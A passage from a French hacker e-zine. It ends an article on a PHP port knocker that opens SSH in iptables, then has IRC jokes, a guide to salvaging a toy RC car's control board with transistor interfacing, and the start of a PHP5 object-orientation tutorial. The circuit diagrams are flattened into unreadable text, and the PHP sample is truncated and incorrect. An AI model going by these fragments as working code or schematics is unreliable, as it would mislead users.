particulierement dans le cas present, de fraper d'une facon predeterminer a la porte afin que celle ci reconnaissant l'intru le laisse entrer, et seulement lui. En langage simple, un socket en mode listening qui attend un code particulier (qui peu etre une serie de connection TCP et/ou UDP a different port dans un ordre different), ou encore une connection simple TCP ou UDP etablie selon un protocole unique et particulier. Le reste de la job se voulant de modifier le firewall afin de laisser penetrer l'intru (sont ip) a une serie de port predeterminer ou determinable (si supporter par le protocole du port knocker). Encore une foi il existe une facon complexe et une facon simple d'y arriver, et evidament nous etudirons la facon simple. celle de modifier les regles de iptables grace a un system call utilisant la commande iptables suivit d'un set d'instruction qui permettra d'effectuer les modifications souhaiter au firewall. c'est bien beau tout ca, mais voir concretement comment fonctionne un vrai port knocker qui, ca pourrais etre interressant,(et peu etre meme pratique). Et bien comme si vous ne vous y en attendiez pas c'est ce que vous offre cette article, un vrai port knocker detailler et expliquer. Vous aurez besoin pour l'utiliser des items lister si dessous. Pre-requis php linux iptables un support reseau TCP/IP based Tout ca semble bien complique mais en une vingtaine de lignes php ont peu parvenir a construire un port knocker tres simplet. Evidament pour rendre un code aussi petit on doit couper dans les procedures de verification. mais comme ici on naccepte que une seul entrer, et que toute les modification sont deja hardcoder (bref on est sur de squi va se passer), elles ne sont pas necessaire, evidament les fonctionnaliter de se code sont bien minime. mais un coup que l'on a access a ssh, on peu faire ce qu'on veut. well, ne vous inquietez pas je ne me defile pas tout de suite, vous aurrez plus loin une version plus pragmatique de se code. comme vous voyez, il est relativement facile de faire un portknocker de base a partir du code d'un hello world standard au niveau des sockets. puisque dans cette example, un socket est mi en ecoute d'une clef, (hello dans a l'occurence), lorsque cette clef lui est passer, elle ne fait que repondre le ip du demandant et ajute le firewall en concequence. voyons comment cela fonctionne en vrai. Bon tout le test cest effectuer en local, mais ca ne change rien dutout aux resultats obtenu qui demontre un parfais fonctionnement du software. [root@localhost wyzeman]# /sbin/iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination DROP tcp -- anywhere 192.168.1.230 tcp dpt:ssh Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Chain RH-Firewall-1-INPUT (0 references) target prot opt source destination [root@localhost wyzeman]# telnet 192.168.1.230 9999 Trying 192.168.1.230... Connected to 192.168.1.230 (192.168.1.230). Escape character is '^]'. hello 192.168.1.230^] telnet> quit Connection closed. [root@localhost wyzeman]# /sbin/iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination DROP tcp -- anywhere 192.168.1.230 tcp dpt:ssh ACCEPT tcp -- 192.168.1.1 192.168.1.230 tcp dpt:ssh Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Chain RH-Firewall-1-INPUT (0 references) target prot opt source destination Bien sympatique n'est-ce pas, mais on aimerais mieu utiliser la technique de la serie de port que du mots de passe cucu, (apres tout, cest presque plus dur a sniffer). Et aussi ya un truc qui suck dans se soft la, le firewall reste fermer ad vitam eternam c'est plutot sucky. Le code qui suit contien les modifications requise, pour ouvrir le port ssh dans iptables, on doit se connecter successivement sur les port 9999 6666 et 3333 de notre serveur et envoyer un point (.) suivie d'un enter sur chaque, pour refermer le firewall il suffit de refaire le meme truc. evidament se connecter 3x de suite sur des ports differents pour faire .enter ce n'est pas tres amusant, c'est pourquoi la majoriter des gens qui utilise un portknocker de se type le font en conjonction avec un programme client qui produit l'algorythme desirer. Pour le client rien de bien compliquer n'est requis, il ne fait apres tout que automatiser une seul tache simple. Pour cette article nous arreterons ici. l'essentiel aura ete dit. Pour ce qui est du port knocker. Jajouterais quelque fonction pour le rendre dynamique ainsi qu'un menu pour modifier iptables aux gres sans avoir se connecter ulterieurement par ssh pour faire les changements a la main. Cette version fini sera releaser sur le site web en tant venu. .----------------------------------------------- - - --- - --- | Wyzeman [Wyzeman at mindkind dot org] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - < Mindkind tales from IRC > [02:38] MindAway, 1 coin de rue de plus, tu t'aurais rouler a terre pendans des heures. [02:38] MindAway, Yavais des pute sur le coter, La fille vois H3 et va a coter et marche a coter assez proche, y y dis "kesse kia ?" moi jme tourne pis a le fixais, a y dis "rien" pis BANG a fonce dans un arbre pis a tombe a terre [02:39] J'ai fhaie creve d'un ACV apres sa [02:39] sa chum pute a parti a rire comme un malade :p [02:39] les pimp nous fixais d'un air bizzard :p [02:52] hahahahahahahahahahaha [02:52] omfg < ----------------------- > ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.07 Radio scrap : aka 'des boutes pi des affaires en remote' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | Se jour de grâce de l’année du singe, me pousse aujourd’hui à vous montrer comment singer ;) Singer se mot de quelques lettres n’est malheureusement pas utiliser à son plein potentiel, apprendre et encore mieux réaliser en se servait du savoir des autres est une des plus belles possibilité de ce monde.Ca vous permet souvent même d’atteindre un but spécifique sans vous soucier des lois de la physique, de plusieurs contraintes complexes et surtout du refus d’aide redondant de personnes qualifier. Aujourd’hui dans ce petit et instructif article on va apprendre à singer, comme des vrai ;) .. sans remord, sans complication.. soyez naturel et la nature saura venir à vous.. Par contre un minimum de connaissance en électronique vous aidera grandement.. (et ici on parle d’un minimum de type « positif, négatif »). Combien de fois vous êtres vous déjà demander comment vous pourriez faire un gadget complexe, avec un réel potentiel qui pourrait satisfaire tout vous besoins, voir même en crée chez vos voisins!.. Mais quelle était donc la cause de l’abandon de ces projets?, quel était donc le problème principal qui vous arrêtait systématiquement quand venait l’étape de la réalisation… voir même celle de la fabulation!? Plusieurs facteur j’en suis sur, la conception trop complexe, les pièces introuvables voir hors de prix, ou encore l’immense travail logistique qu’il vous faudrait afin de mettre à bien votre projet. Et bien en cette année du singe, nous allons singer !.. L’essentiel n’est peut-être pas tant d’avoir la connaissance mais bien d’avoir le produit fini :) .. Et pour y arriver tout est permit. Voici donc la méthode proposé en bref, vous avez besoin d’un transmetteur et d’un récepteur pour un projet, vous voulez par exemple contrôler à distance un objet quelconque, bien sur crée de toute pièce ces différents modules nécessiterais des pièces spécifiques, du temps, et beaucoup d’expérimentation. En revanche se servir de ce qui existe déjà, sous une autre forme soit, mais tout de même, est souvent de meilleur augure.. ici je pense par exemple à une petite voiture téléguider cheap, même très CHEAP, qui ne demande qu’à être utilisée… du moins pour quelques heures!:P Souvent les gens sont bernés par le tape à l’œil, le flasheux, des lumières vives etc… mais qu’est-ce qui contrôle cette voiture téléguider? Bien sur le circuit qu’il VOUS faut justement… Avec un peu de recule on se rend bien compte que ce qui fait avancer ce véhicule c’est bien-sur son circuit de contrôle, bien sur il y a des moteurs pour les roues etc. Mais ce qui vous intéresse c’est le contrôle…, le contrôle… si vous désirez tout de même utiliser ces petits moteurs par la suite, soit, vous pourrez très bien le faire, ou vous en servir dans d’autres projets futurs. Voyez-vous ce qui fais le charme de ces singeries, c’est que vous avec un board électronique simple, optimisé, petit, qui bénéficie des avantages des procédés de fabrication moderne (et truster moi vous êtres à 100 lieu d’atteindre une tel perfection à la maison!), en plus vous n’avec même pas à faire de tests pour savoirs si ca marche ou pas, vous ne vous casser pas non plus la tête à faire le plan du transmetteur, comprendre la physique des ondes, celle de la modulation d’un signal électromagnétique, vous n’allez pas faire 30 voyage pour diverses pièces qu’il vous faudrait, ni les assemblez sur un board électronique à une seule face( :P ), en fait tout ce que vous avez à faire c’est de vous déplacez dans un hardware shop pas loin de chez vous, d'achetez un char téléguidé qui traîne dans une boite jaune depuis 2 mois à attendre un client potentiel, en achetant se package de ressources pré-assemblés (et c’est comme ca qu’il faut le voir), vous rendez service à l’économie, et à votre économie car les pièces dans cette voiture seront ré-utilisable à un prix moindre que séparer, vous encourager la compagnie qui le produit, celle-ci à payer ses ingénieurs, qui en retour feront encore d’autre créations tout aussi variées que vos besoins futurs :) ! En somme sans avoir une grande expérience dans le domaine, vous pouvez tout de même faire votre flasheux en montrant que VOUS avez PATENTER le circuit qui contrôle présentement votre cossin, ce qui est vrai! Le tout nécessite tout de même un effort de réflexion, souvent il faut savoir ouvrir le contenant pour avoir accès au contenue le tout SANS endommager quoi que se sois, rappelez vous que souvent quand sa s’ouvre pas y’a une vis qui est cachée par un collant de type « Pile AA uniquement, évitez de mettre dans la bouche des bébé » si il existe tout de même une vis invisible, la seconde méthode est la destruction, mais la destruction sélective! Le circuit électronique est souvent au centre d’un objet, souvent près du socket des batteries (hint facile ici). Viens maintenant le temps de se servir, et ici je tien à préciser que l’essentiel est aussi de reverse engeneerer ce que vous avez sous les mains, en somme dépluguer pas toute comme des pilleurs de tombes au contraire faite comme une scène de crime, analyser ce que vous avez sous les yeux. Par exemple, vous avez deux fils qui partent du board électronique et qui vont à un moteur à l’avant. Il serait sage de noter quel commande avec la télécommande actionne ces roues, de bien noter les fils qui y sont associés (car bien évidament vous en aurez besoin plus tard dans la conception de VOTRE projet, et rendu la vaut mieux savoir déjà quoi fait quoi… souvent il suffit de dévisser de board puis de sélectivement découvrir à quoi chaque fils sert avant de les couper et d’éventuellement libérer complètement le circuit. Une fois fait vous avez VOTRE circuit de contrôle :) le tout est probablement ISO-9002 et ne vous à pris que 20 min à extraire et identifier.. un gain majeur de temps… passé, présent et futur ! Il ne vous reste plus que quoi, la télécommande jaune fluo d’un goût douteux? Soit!, la aussi la technique du singe prouve encore son utilité, si la télécommande ne vous satisfait pas, dé-boiter la, prenez note des différents contact et circuits et réimplanter la dans un autre boîtier (que vous aurez fait!?). Voici une mise en situation des plus banale, vous voulez vous monter une arcade dans votre sous sol, étant un puriste, vous ne voulez que des jeux old-school à la doom, need for speed etc… pour se faire facile, se trouver des vieux ordi crappy, installer le jeux pis s’organiser pour le faire booter automatiquement.. simple je sais.. mais pour le contrôleur ? quoi prendre… certain véritable puriste (et un peu naif) vont se gosser un circuit avec un microcontrôleur, le tout impliquant un système de reconnaissance de donné par l’ordinateur pour avoir les contrôles de leurs choix, d’autres, des singes, vont simplement aller s’acheter un gamepad , et un kit de bouton de LEURS choix, y vont déboîter le gamepad, de la y vont se ressouder des fils qui vont mener aux nouveaux boutons, et l’utilisateur qui ne vois déjà rien d’électronique ne se rendra pas compte de la modification. :) J’ai déjà tweaker une sourie … oui une TRUE MOUSE ! pour jouer à Need for speed avec un volant home made, le truc était plutôt simple, déboîter la sourie, dessouder la microswitch qui servait d’accélérateur pour ensuite la rallonger à l’aide d’un fils le tout afin d’avoir une pédale d’accélérateur. De la même façon, on aurait qu’a dessouder les capteurs optiques et les micro fente qui leurs sont associer, les remodeler dans le frame que l’on désire et ainsi avoir un volant le tout de facon relativement simple et efficace. En somme ce qui fais chier un projet est souvent la complexité des modules qui le comportent, si on peu alléger de peu ou de beaucoup cette complexité qui fait peur, on arrive à : 1-Terminer notre projet, 2-Etre plus enthousiate à le faire, 3-On apprend… Et on apprend quoi ? tout simplement l’électronique, la mécanique, les matériaux.. en fait les gugus d’ont vous allez vous servir on presque tous été crée par une team d’ingénieur, d’expert ISO-9002, FCC complient etc… souvent voir comment sont conçus ou construit les objets par l’intérieur vous laisse bouche bée… Tellement la mécanique est simple, ou tellement elle est complexe.. en fait vous pouvez enfin dire de façon objective que c’est crissement bin faire, ou que c’est de la crisse de marde… mais ici on est rendu au niveau supérieur soit l’appréciation du génie et/ou de la débrouillardise humaine.. Oui mais moi j’veux pas juste un transmetteur, j’veux avec ca …. Ya rien qui vous empêche de mixer ensemble deux ou plusieurs autres « modules » que vous aurez extirper de produit sur les tablettes.. par contre il est évidant que pour bien mettre en symbiose ces différents éléments il vous faudra un peu plus de connaissance en électronique, à moins qu’encore une fois ce module intermédiaire ne puisse se trouver dans un marcher au puce près de chez vous.. Ne négliger pas le pouvoir d’un marcher au puce, si souvent l’esthétique est dégeulace l’intérieur est encore beau et fonctionnel… (une belle leçon de philosophie ici) et en plus c’est pas cher :) L’exemple du mois est plutôt simple quoi qu’il s’agissent plus en fait d’une introduction à l’analyse des circuits intégrée. J’ai pris l’exemple des Zip Zap.. ces petits chars téléguidés qu’on trouve chez radio shack pour la modique somme de 30$.. en fait j’aurais sûrement pu me dégoter une merde téléguide chez Dan du marcher au puce pas loin, mais pour des besoins physiques exceptionnelle, j’ai plutôt opter pour le model tiny… car le recepteur des Zip Zap tien dans le minuscule board de la voiture.. et j’ai été surpris de voir comment le tout marchait.. avec une batterie rechargeable, un voltage ridicule, un micro moteurs etc.. En fait ici je vais utiliser encore ces magnifiques petites pictures pour vous montrer comment aller chercher les infos dont vous avez besoins.. 1er Etape -Trouver le matériel.. ici c’était facile.. je vais au magasin, je paye pis c’est fait.. dans d’autres cas (Et truster moi sur ca) quand sa fait un bout de temps que t’opère à cœur ouvert des circuits du genre on se développe son propre junkyard ou on peu piger dedans.. comme ici dans le cas de ce projet j’utiliserai sûrement pas le mini moteur du char téléguider.. je ne risque pas non plus de toucher au système de direction de la voiture, ce n’est simplement pas ca qui m‘intéresse.. (pour le moment) et ici est toute la nuance, plus tard qui sais.. j’aurais sous la main un moteur d’une grosseur ridicule pour un autre projet.. enfin !.. 2e Etape – Accéder à la partie électronique intelligente ou de contrôle du circuit.. ca semble simple (est ca l’est pour qq’un d’un moindrement expérimenter, mais on hésite souvent entre crisser un coups de marteau sur le case qui rouve pas ou de l’ouvrir à coups de chainsaw) y’a souvent des vis cachées sous un sticker, ou des clips en plastique qui se clip super séré.. en fait ici il vous faudra reverse-engeneerer mécaniquement ce que la cie a fait pour pas que vous alliez fouiller la inutilement.. Une fois le case ouvert, souvent y’a des fils pas rapport qui pendent tout partout… ici il serait judicieux de noter un moindrement ou ils vont… et de guesser un peu ce qui sont supposer faire… dans le cas présent, les fils qui vont au moteur sont fort probablement ceux qui vont l’alimenter en courant.. de même que les fils qui vont au système de bobines magnétique pour la direction .. on note aussi une petite batteries dans le fond du bolide avec sur le dessus cette bonne vielle et plus qu’évidente mother board. La partie intelligente du circuit se trouve sous la goutte de plastique ronde.. donc pas trop accessible dans le cas présent.. par contre on sait (pour avoir fait le test en s’amusant avec le Zip Zap avant de toute le dé-calisser pour la science), que, quand on l’active, on a un contrôle Avance, Recule, tourne à droite, tourne à gauche… bon sa nous fais quoi.. 4 possibilités ? NON !  car on peut avancer en tournant ou reculer en tournant.. donc on a facile 8 possibilités de combinaisons. Mais ce qu’on désire d’une tel board c’est qu’il contrôle à distance une interface qu’on aura définie par la suite.. donc on veut s’approprier les signaux de contrôle (ici avance, recule, tourne x2) pour les implanter dans un autre circuit affin d’activer autre chose qu’un moteur ou une bobine.. ou à tout le moins un moteur plus gros. Pour s’approprier ces signaux il faut savoir ou aller s’interfacer, la réponse est simple, suivez les fils.. ils sont souvent reliés au board de façon évidente, et c’est ici qu’on va devoir dessouder pour mieux ressouder par la suite notre device dans son nouveau milieu de travail. 3e Etape – Analyser les signaux, avant même de tout pluguer ensemble en se disant (sa va marcher) il est judicieux de savoir quelle latitude les signaux nous permettes d’avoir. En somme, vous ne pourrez pas driver un moteur 12v avec dequoi qui drive à 1.5v. Pour se faire il vous faudra un multimètre affin de vérifier step-by-step les signaux du board.. une fois activer, première chose à faire, trouver le ground.. où la référence.. souvent un fils noir qui est relié à la batterie. Ce fils la sera votre point de référence pour mesurer tout les autres voltages, essayer déjà de voir le voltage au borne de la batteries (c’est souvent un truc intéressant à savoir, autant au niveau du circuit que de celui de l’intégrité de vos mesures). Ensuite il vous faudra mesurer avec un multimètre en mode voltage, les voltages de chacun des contacts ou les fils vont se souder sur le mini-board. Pic1.jpg [ Connecteurs vue de dessous, de bas en haut : GND (fil noir) Bobine #1 (fils cuivrer) VCC fil rouge (on voit aussi que deux fils cuivrés des bobines y sont inclus, donc au VCC) Bobine #2 (fils cuivrer) Moteur (fil bleu) Moteur (fil blanc) Antenne (fil jaune) ] Comme ici, on mesure le voltage à la pile (1.5v), on sait donc que ce circuit ne peut avoir plus de 1.5v ailleurs, si vous voyez 5v poser vous des questions. Ou checker ailleurs d’où provient cet extra potentiel. Ensuite activer des commandes et vérifier le résultat, comme par exemple, quand on active la commande pour faire avancer le véhicule, on notre que le contact au fils bleu passe d’un état de 1.5v à 0v, on peut donc en déduire que ce signal donne un 0v lorsque activée. Il en va de même pour les autres contacts. Une fois la grille des voltage établie, il faudra remplir celle de l’ampérage, pour se faire vous devrez dessouder un des fils du contact et placer votre multimètre au centre (en mode ampèremètre) de façon a ce que le multimètre joue finalement le rôle du fils conducteur, mais ou vous pourrez voir la mesure du courant qui le traverse. Pic2.jpg L’ampérage vous donnera un indice des limites de courrant que le board peut supporter sur ce branchement, en somme si lorsque vous activer une commande vous drainer 90 milliampères, vous ne pourrez pas espérée brancher une device qui en drainera plus.. (du moins de façon optimal).. par contre on peut facilement activer des transistors avec un tel ampérage, donc pour la partie interfaçage de cet article, on risque de remédier à la limite des 90 milliampères… par contre c’est propre à vos besoins.. avec 90 milliampères on peut facilement faire allumer 4-5 leds par connections. Lors de la prises de vos mesures, il serait judicieux, voir essentiel de noter les voltages et ampérages que vous obtiendrer. Ex: une grille du type : Component | Voltage | Ampérage | Info | ------------+--------------------+-----------------+-----------------------------| Pile | 1.5v | 100 mA/h |Ni-Mh rechargeable | Contact #1 | GND   : 0v | 240 mA |Alimentation GND | Contact #2 | Bobine DR - | |Bobine Droite | | Idle   : 1.5v | 0 mA |Non active | | Active : 0v | 80 mA |Active 0v a cette borne | Contact #3 | VCC   : 1.5v | 240 mA |Alimentation VCC | Contact #4 | Boines+ : 1.5v | |Alimentation des bobines(VCC)| Contact #5 | Bobine GA - | |Bobine Gauche | | Idle  : 1.5v | 0 mA |Non active | | Active  : 0v | 80 mA |Active 0v a cette borne | Contact #6 | Moteur AV | |Moteur actif en commande Av | | Idle  : 1.5v | 0 mA |Non actif | | Active  : 0v | 90 mA |Actif 0v a cette borne | Contact #7 | Moteur AR | |Moteur actif en commande Ar | | Idle  : 1.5v | 0 mA |Non actif | | Active  : 0v | 90 mA |Actif 0v a cette borne | Ici on voit bien que le maximum d’ampérage que la source (la pile) peut fournir est 240 mA Et cette condition n’est active que lorsque le moteur est actif (d’un sens ou l’autre) et ou il force (les roues restent immobiles).. Dans le cas typique d’utilisation il est de 100 mA. Avec ce tableau plutôt technique, on vois quelques subtilités apparaître, en fait tout les signaux sont à 0v lorsqu’ils sont actif, en somme le circuit (à l’aide des petits transistors près des bornes, active un drain qui relie le fils connecter au GND permettant ainsi au courant de circuler en activant les bobines ou le moteur. On voit aussi que les deux bobines sont carrément reliées au VCC, donc on peut parler ici d’une donnée plutôt triviale, comme leurs valeurs ne changent pas lors des tests faits en activant le contrôleur. Le fils qui va nullpart est evidament l’antenne, on doit la garder si on veut que le tout fonctionne encore, par contre on peut p-e la modifier plus tard pour augmenter son rayon d’action. Une fois fait, cette liste la sera votre fiche technique de ce module de téléguidage (car c’est ce que c’est) vous pourrez alors savoir comment interfacer (dans les paramètres physique requis) ce module à vos projets.. et ce même plusieurs mois ou années plus tard. Cette fiche technique peut aussi comprendre plusieurs détails louche ou pas que vous avec découvert en expérimentant avec le circuit en somme c’est avec cette fiche la qu’un gars moindrement skiller en électronique va pouvoir dire « sa se fait right now » ou « j’sais pas trop faudrait je commence par checker le voltage etc.. ». Et c’est si plaisant à partager ;) Tout ce gatering d’information sera appliqué dans cette phase ultime où j’extirperai le cœur de cette mindless machine pour le réintroduire dans ma création diabolique… (..mouhaa mouhaa!!) (Félicitation vous avez trouver votre idée..) Mais avant d’activer cette miniature créature, il nous faudra l’interfacer à notre projet et ceci implique de couper/dessouder le board du circuit de son boîtier original et de l’intégrer avec de nouveaux fils et contact a notre circuit de test (enfin celui du projet démoniaque en question). Premièrement interfacont la batterie, le board doit être alimenté par un voltage de 1.5v (soit une pile AA, AAA, ou d’autres piles de montres de taille ridicules) (reliez les grounds, du board et du circuit.. et de pas mal tout finalement. Une fois l’alimentation apportée, on se concentre sur les lignes de contrôle du module, ici j’ai pris une nomenclature de type 5v (circuit logique) car ces 5 petits volts sont plutôt bien documenter over the web si vous désirez actionner tout autre circuit de puissance .. raisonnable.. Donc, pour les signaux des bobines de contrôle j’ai place une résistance en « pull up » (de façon à offrir un 5v à la sortie du transistor quand celui-ci n’est pas actif. La ligne de contrôle peut ainsi être acheminer à un autre transistor ou à un microcontrôleur quelconque… Pour ce qui est des lignes qui vont au moteur, il y a une particularité intéressante, ce qui active le sens du moteur (la direction du champ électrique qui le drive) est dirigé par un circuit de type H-Bridge, par exemple : +VCC | 1 +----+---+ 3 |/e e\| Avance ---+----b|PNP PNP|b-----+--- Recule | |\c c/| | | | | | | |--- M --| | | | | | | |/c c\| | | +-b|NPN NPN|b--+ | | | |\e e/| | | | | 3 +----+---+ 4 | | | | | | | | | --- Gnd | | | | - | | | +--------------o<|-----+ | | +-|>o------------------+ Le courant ainsi appliquer au transistor 1 et 4 lors de la commande (Avance), fait tourner le moteur dans un sens, et quand on active les transistors 2 et 3 (Recule), il tourne dans l’autre. Il existe plusieurs version de H-Bridges répondant d’autres besoin « fiabilité, précision, courant élevé, etc.. » more info at your local I-net search engine. Avec mon circuit de test, j’ai remarqué que le signal drainait un courant même quand le circuit n’est pas activé.. j’ai donc relier (encore avec une résistance en « pull up » ) le signal a un 7406 (un inverseur logique au prix dérisoire, aussi offert en surface mount for your own pleasure, Digi-key #  296-1435-5-ND. Le signal ainsi obtenu est inversé une première fois, puis une deuxième fois (affin d’obtenir une source de courant fiable qui ne « fuie » pas, tout en conservant notre « standard numérique 0v = actif, 5v = idle » +Vcc = 5v Transistor=2N3906 Resistance = All 1K +VCC | +--+ |/e +--b|PNP | |\c | +----------------------------+-----O 0-5v Signial #1 +VCC | +VCC R | | 200 mA Input du | | +VCC | 1K | | board | | | R +--+ | remote R | | | | 1K |/e Gnd --- | 1K | | | | | +--b|PNP - \|/ | | | | | |\c ` | | | | +------------------+-----O 0-5v Signial #2 BOb.1 ---------+---+ | | | 200 mA Bob.2 -----------------+-----+ R | | 1K | | | +VCC Gnd --- | - R | | 1K | | +VCC | _____ | Moteur.1 -------+-------_/| |\_---+ +-_/| 7 |\_ +VCC +-_/| 4 |\_ | +VCC +------_/| 0 |\_ R | | | +VCC +--------_/| 6 |\_ 1K| | +--+ | | | +----_/|___|\_--+ | |/e R | | | | | +-_/ \_--|-----+-b|PNP 1K | | | | | | | |\c | | | | --- | +VCC +-------+-----O 0-5v Signial #3 Moteur.2 ---+--+ | | - | | +VCC | | R 200 mA | | Gnd | R | | | | | 1K | | | 1K| | +--+ | | +---------------+ | |/e --- Gnd +-----------------------+-b|PNP - |\c +-------+-----O 0-5v Signial #4 | 200 mA | | R | | 1K | --- Gnd - Le signal de sortie est donc propre, car il nous est fournie par le 7406, de plus ces entrée libres peuvent vous êtres utiles pour des tweak de dernière minutes.. A titre d’exemple sur ce montage j’active des transistors (3906) Digi-key # 2N3906D26ZCT-ND avec le signal qui provient du mini-board, en plus d’offrir un courant de 200 mA aux signaux, ces 3906 jouent à la fois un certain rôle d’isolation dans le circuit, le courant que vous utiliserez viendra donc de l’alimentation (Via le transistor), et non de votre petit bord téléguidé. On note aussi un autre set de résistance en « pull down » cette fois à la sortie du transistor, encore une fois dans le but de stabiliser a 0-5v le voltage de sortie de votre montage (essentiel pour les applications logique qui pourrait en découler).. Pic3.jpg [Image du board interfacer à mon board de test, noter l'utilisation du fil wireweap (petit fil) que j'ai twister à une slide de jumper. On voit aussi le 7406 brancher avec les résistance en pull-up. ] Pic4.jpg [On voit les signaux de sortie qui sont brancher au transistor 3906 avec une resistance pull-up et pull-down, celles qui semblent sortir du circuit sont reliés à des leds (pour les besoins du test).. c'est d'ailleur ici que vous prendrez vos signaux.. (à la sortie du transistor...) ] On peut ainsi contrôler avec la télécommande 8 états à la fois (Avance Droite, Avance Gauche, Recule Droite, Recule Gauche, Avance, Recule, Gauche, Droite), sa semble peu, mais relier à un microcontrôleur qui pourrait décoder les différant états suivant des séquences, on pourrait ainsi atteindre plus de possibilités de commandes. Mais sa sera pour une autre aventure... Capitan Qwzykx.. .----------------------------------------------- - - --- - --- | Qwzykx [Qwzykx at mindkind dot org] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - < When IRC dreams come true... > [17:11] la rumeur veut que Wyzeman ait embaucher 100 singe qui tappe des key aleatoirement 24hrs sur 24 pour le zine, l'output des primate et filtrer par last ensuite... Wyzeman tu confirm ? [17:11] oui oui [17:11] 100 singe sautant pendant X annee sur des machine a ecirre pourrait ecrire la bible [17:12] donc comme ca il va pouvoir ecrire le zine le + leet jamais sorti [17:12] c juste une question de temps :) [17:13] oui oui jconfirme [17:13] pas pire comme tactique [17:13] hehe [17:14] hahahahha [17:14] avec des ailes [17:14] comme ça, si ya du monde qui nous écoeure [17:14] on leur send les singes a lattaque!!! [17:16] lmao [17:16] sont hot nos singes [17:16] surtout cleui qui est alcoolique [17:16] mojo [17:17] l'alcoolo est surmeent le + productif [17:17] sa prendrait un singe en ascii pour le zine [17:17] ouais [17:17] hahah [17:17] "Fear our mojo" [17:17] mojo le singe alcoolique [17:17] mouahaha [17:17] yeah quelle trainé ce singe [17:17] * Wyzeman changes topic to 'URGENT i faut un signe alcoolique en ascii pour le ezine' ainsi soit-t-il... .-------------------. .' '. .' . '. .' : | | ; > | | | ------ .------- .'--. .-'. .' _ ' / _ '. | __ ' | -- './ <-^-> v <-^-> | / ' | '_____ |____ _____' /_____/ \ ; > o8o < / \ / \ / .-------. \ ( __. ) > / ..... \ \_\ /___/> /_' ( < \ \ <__/ //____/ --. \ \ '-' _/ / // \ `. \ ; < \-' '. \ \ \ \ _| \_____/_ \ | / / ..---' / _____) ; | / / ( / _______) | |/ / ;.---/________ \/ : > / .--<_______ /\_) | | / .-----. / ( './ ,' |/ .--' .' ; '-------' | |-' / | / / / / ( ( . o ) .-\__/ .' .' __ ) / \ __/ \_ .-' | ( __ ' '---\/\/\/ \ (__ ) |\/\/---' ' \_____________) \______________(__|__|__/ (___________/ ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.08 PHP 5 : aka 'OO in a webserver near you' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | ! Disclaimer : BOF ! 1: Si vous aimez ASP vous pouvez faire pagedown 7x des maintenant.. ou vous suicider :) 2: Si vous ne connaissez rien à PHP, envisagez les options précédentes. 3: Tout comme les libéraux, je ne suis responsable de rien... bon.. même pas des fautes cé clair ? :p 4: Cet article est à sont meilleur dans notepad version 5.1 (Build 2600xpsp2.030422-1633: Service pack 1) ! Disclaimer : EOF ! Intro ----- PhP est à mon avis un des plus bel exemple de réussite dans le monde de l'open source. Et avec l'arrivée de la version 5, ca ne fait que s'améliorer. J'ai attendu avec impatience cette version depuis qu'ils ont commencer à l'annoncer. Mais j'ai craqué avant :| j'ai downloadé et installé le beta 1, mais ne trouvant pas vraiment de documentation sur le net et manquant cruellement de temps, j'ai laissé tomber assez rapidement.. Mais alors que le RC2 (Release Candidate #2) venait de sortir, j'ai eu la surprise de ma vie quand j'ai vu dans la librairie un livre de 918 page portant sur PHP5 .. 3ieme édition ... c'est dans ses moment, qu'on se sent retardé :-/ L'auteur est Leon Atkinson des éditions CampusPress Référence. Je dois admettre que j'ai sauter quelques chapitres qui me touche moins. En général le livre est bien expliqué et complet. Dans cet article, je prends pour acquis que vous avez une base en PHP4. Dans le cas contraire, si vous savez programmer, vous devriez vous débrouiller assez bien quand même. Sinon envisagez de nouveaux la solution de l'option #1 du disclaimer. Trève de plaisanteries Dans le but de sauver un peu de temps, je vais éviter de parler des trucs déjà présents dans PHP4, je me concentrerai plutôt sur les nouvelles features :) De plus, je suis nouveau dans le monde de l'Object Oriented, alors c'est possible qu'il y ait quelques erreurs. L'interface OO de PHP4 était peu attrayante, mais m'a permis d'en comprendre les bases. J'ai toutefois pas trop pousser, car je savais que celle de PHP5 serait différente et meilleure en beaucoup de points. Je crois que j'ai eu un timing parfait de ce coté :) Core ---- Bon, je vais faire mon possible pour décrire la nouvelle interface objet de php5, mais se sont à peu près tous des principes nouveaux. J'espère seulement ne pas être dans l'erreur. L'auteur d'écrit l'interface comme étant à héritage simple avec possibilité de limiter l'acces aux membres et de surcharger des classes. Pour moi ca veut pas dire grand'chose :O Mais bon, un coups décortiqué, c'est un peu moin pire. Parmis les changements importants apportés à l'interface OO, il y a la possibilité d'accèder les membres d'une classe sans l'instancier de la façon suivante; Ils ont aussi introduit des namespaces pour remplacer (même s'il est encore supporté) le contreversé $this-> .. Maintenant, on peut y arriver de cette façon; L'une des plus grandes améliorations apportées au modèle objet de php est qu'il ne passe plus les objet par copie, mais par référence (avant on devait utiliser un & pour le faire..). Ce qui entraine une grande diminution des ressources requises pour manipuler les gros objets. De plus, il est possible de restreindre la portée des membres d'une classe. Pour ce faire, php nous fournit des types d'accès. - Public : Accessible sans contraintes par des éléments extérieurs de la classe - Private : Les membres privés sont accessibles en lecture/écriture seulement par les membres d'une meme classes - Protected : Ne peut être manipulé que par les membres dérivés de la classes (a mi-chemin entre public et private..) Ce mécanisme aide à encapsuler et sécuriser l'accès aux membres d'une classe. Comme on peut le voir dans l'exemple suivant: test(); } private function test() { return "hello :>"; } } class maSubClass { __constructor() { echo parent::Test(); # ne fonctionnera pas echo parent::touchTest(); # va fonctionner.. } } ?> Il est aussi possible de déclarer les membres d'une classe comme étant "static", ce qui a 